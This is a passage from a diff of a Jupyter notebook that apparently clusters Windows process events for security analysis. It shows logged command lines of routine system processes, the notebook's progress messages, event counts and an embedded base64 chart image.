/nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 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+ } + ], "source": [ "# Show timeline of events\n", "if process_tree is not None and not process_tree.empty:\n", @@ -638,14 +3525,107 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 17, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:19:46.286319Z", "start_time": "2020-05-16T02:19:44.261867Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Querying data...

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

Extracting features...

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

Clustering data...

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of input events: 190\n", + "Number of clustered events: 24\n" + ] + }, + { + "data": { + "image/png": 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